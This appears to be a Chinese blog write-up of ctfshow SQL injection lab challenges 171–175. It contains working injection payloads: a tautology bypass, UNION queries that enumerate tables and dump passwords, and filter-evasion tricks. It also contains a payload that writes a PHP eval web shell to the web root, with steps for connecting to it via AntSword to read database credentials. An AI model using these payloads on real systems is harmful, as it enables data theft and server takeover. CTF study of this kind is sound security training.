首页 > 数据库 >ctfshow web入门 sql注入 171-175

ctfshow web入门 sql注入 171-175

时间:2023-04-10 18:56:19浏览次数:49  
标签:username web -- flag ctfshow sql password id select

171-175 同属无过滤绕过(并未对 sql 语句过滤,仅对查询结果过滤)

重点

  1、了解万能密码

  2、了解 sql 语句中字符串函数

  3、了解备份功能(导入/导出数据)

  4、蚁剑如何连接数据库

web171

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

没有任何过滤,尝试万能密码

payload

' or 1=1 --+   --万能密码

--实际执行的 sql语句 为
select username,password from user where username !='flag' and id = '"' or 1=1 --+ limit 1;

-- 解析
where条件中存在三个条件
  1)username !='flag'
  2)id ='"'
  3)1=1
条件1 和 条件2 用 and 连接,再与 条件3 用 or 连接

and 优先级高于 or
由于 条件2 为假,所以 or 的前半句为假,也就是 username !='flag' and id = '"' 为假
而 or 后半句 1=1 为真,因此 where 条件为真
相当于执行 select username,password from user

 

 

web172

-- 查询语句
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

--检查 username 是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

 

payload

--联合注入
  --判断字段数
1'  order by 2 --+
  --判断使用字段位置
-1'  union select 1,2 --+
    --爆表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()  --+
    --爆字段
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2'  --+
    --爆字段值
-1' union select 1,group_concat(password) from ctfshow_user2  --+



--思路扩展
--绕过题目中对 username 的if判断
--主要考察对sql语句返回结果集的理解

--法一
--题目使用 username 与 password 两个字段,我们知道一共有 id,username,password 三个字段
--这里我们使用 id 与 password 绕过对 username 的判断
-1'  union select id,password from ctfshow_user2 where username='flag' --+

--法二 
--这里我们对 username 进行 hex() 转换
-1'  union select hex(username),password from ctfshow_user2 where username='flag' --+

--法三
--直接不显示 username  
-1'  union select 1,password from ctfshow_user2 where username='flag' --+

--法四
--使用字符串替换
-1'  union select replace(username,'flag',1),password from ctfshow_user2 where username='flag' --+

--其他方法都是使用字符串函数对 username 进行处理
--思路要打开

 

 

 

web173

-- 查询语句
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

--检查结果集是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

对查询结果进行 json 数据转换

payload

同 web172

 

 

web174

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

 flag 是由 16 进制组成,很显然,要对数字进行替换,0-9 共十个数字,替换十次

payload

-1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'A'),2,'B') ,3,'C') ,4,'D') ,5,'E') ,6,'F') ,7,'G') ,8,'H') ,9,'I') ,0,'J')  from ctfshow_user4 where username='flag'--+

 

 web175

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
      

查询结果不能在 ascii码 的范围内,但使用了 json_encode() 函数进行 json 编码,json 编码后是绕不过前面的正则,所以需要其他方法

payload

-1' union select 1,'<?=eval($_POST[1])?>' into outfile '/var/www/html/1.php' --+

查看能否访问 1.php 文件

 

 

 

蚁剑连接

 1、右击添加数据

  1)进行连接

  2)查看 api/config.php,获取账户密码

    为什么会想到查看 api/config.php,因为 api 有接口的意思,config 有配置的意思

 

 

 

 

2、右击数据操作

  1)先检测数据库类型

 

 

   2)添加数据库

 

  3)进入 ctfshow_web 库 ctfshow_user5 表获取 flag

 

标签:username,web,--,flag,ctfshow,sql,password,id,select
From: https://www.cnblogs.com/IFS-/p/17222130.html

相关文章

  • 常见webeshell工具流量分析
    中国菜刀虚拟机使用仅主机模式,开启apache服务,使用wireshark对此网卡进行抓包  追踪http数据流  base64解码得出<?php@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y&qu......
  • sql 截取表中指定字段
      函数介绍:substring()函数用于截取字符串,可从字符串的某一位置开始,向右截取若干个字符,返回一个特定长度的字符串功能:返回字符、二进制、文本或图像表达式的一部分语法:SUBSTRING(expression,start,length)SQL中的substring函数是用来抓出一个栏位资料中的其中一部......
  • Mysql tinyint长度为1时在java中被转化成boolean型(踩坑)
    资料参考链接1:https://www.cnblogs.com/joeylee/p/3878223.html资料参考链接2:https://blog.csdn.net/HD243608836/article/details/118197811目录背景线上事故1污染数据2类型转换异常原因解决方法.背景踩过两次tinyint的坑线上事故1污染数据问题背景tinyint(1)在j......
  • SIP视频监控 / webrtc视频会议接入GB28181国标平台
     截图使用的是知乎视频 实现思路:1.使用国标代理网关,建立sip号码与gb28181设备号,通道号之间的对照表,实现gb28181网关功能(设备注册,目录查询,心跳,直播拉流,Bye,设备注销),参:GB28181国标代理-CHHC-博客园(cnblogs.com)2.直播拉流时,可通过调用sip系统/视频会议系统提供发送RTP......
  • WebAssembly 助力云原生:APISIX 如何借助 Wasm 插件实现扩展功能?
    本文将介绍Wasm,以及ApacheAPISIX如何实现Wasm功能。作者朱欣欣,API7.ai技术工程师原文链接什么是WasmWasm是WebAssembly的缩写。WebAssembly/Wasm是一个基于堆栈的虚拟机设计的指令格式。在Wasm未出现之前,浏览器中只能支持运行Javascript语言。当Wasm出现......
  • flask-day6——sqlalchemy快速插入数据、scoped_session线程安全、sqlalchemy基本增删
    目录一、sqlalchemy快速插入数据二、scoped_session线程安全2.1基本使用2.2加在类上的装饰器三、基本增删查改3.1基本增删查改和高级查询3.2原生sql3.3django中执行原生sql四、一对多4.1表模型4.2新增和基于对象的查询五、多对多5.1表模型5.2增加和基于对象的跨表查询六......
  • SpringMVC怎么实现web端上传超大文件
    ​ 一、功能性需求与非功能性需求要求操作便利,一次选择多个文件和文件夹进行上传;支持PC端全平台操作系统,Windows,Linux,Mac 支持文件和文件夹的批量下载,断点续传。刷新页面后继续传输。关闭浏览器后保留进度信息。支持文件夹批量上传下载,服务器端保留文件夹层级结构,服务......
  • 信号、flask-script、sqlalchemy 快速使用、sqlalchemy介绍和快速使用、创建操作数据
    目录1信号1.2django信号2flask-script3sqlalchemy快速使用4sqlalchemy介绍和快速使用4.1原生操作的快速使用5创建操作数据表1信号#Flask框架中的信号基于blinker(安装这个模块),其主要就是让开发者可是在flask请求过程中定制一些用户行为flask和django都有#观察者模......
  • sqlalchemy快速插入数据、scoped_session线程安全、基本增删查改、一对多、 多对多、
    目录1sqlalchemy快速插入数据2scoped_session线程安全2.1基本使用2.2加在类上的装饰器3基本增删查改3.1基本增删查改和高级查询3.2原生sql3.3django中执行原生sql4一对多4.1表模型4.2新增和基于对象的查询5多对多5.1表模型5.2增加和基于对象的跨表查询6连表查询1......
  • 前端怎么实现web端上传超大文件
    ​ASP.NET上传文件用FileUpLoad就可以,但是对文件夹的操作却不能用FileUpLoad来实现。下面这个示例便是使用ASP.NET来实现上传文件夹并对文件夹进行压缩以及解压。ASP.NET页面设计:TextBox和Button按钮。​编辑TextBox中需要自己受到输入文件夹的路径(包含文件夹),通过Button实......